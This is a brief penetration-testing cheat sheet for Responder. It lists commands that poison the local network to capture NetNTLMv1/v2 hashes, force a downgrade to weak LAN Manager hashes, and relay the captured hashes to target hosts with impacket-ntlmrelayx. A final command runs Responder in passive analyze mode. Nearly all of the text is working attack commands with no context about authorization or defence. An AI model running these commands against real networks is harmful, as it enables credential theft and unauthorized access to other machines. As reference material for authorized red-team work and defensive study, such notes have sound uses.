Responder

Capture NetNTLMv1 and NetNTLMv2 hashes and relay them

# Start responder in listening mode and downgrade to LAN manager hashes
responder -I '<NETWORK-INTERFACE>' --lm

# Use ntlmrelayx to relay captured hashes
impacket-ntlmrelayx -tf 'relay-hosts.txt' -socks -smb2support

Run responder in analyze mode

# This mode ensures no poisoning happens
responder -I '<NETWORK-INTERFACE>' -A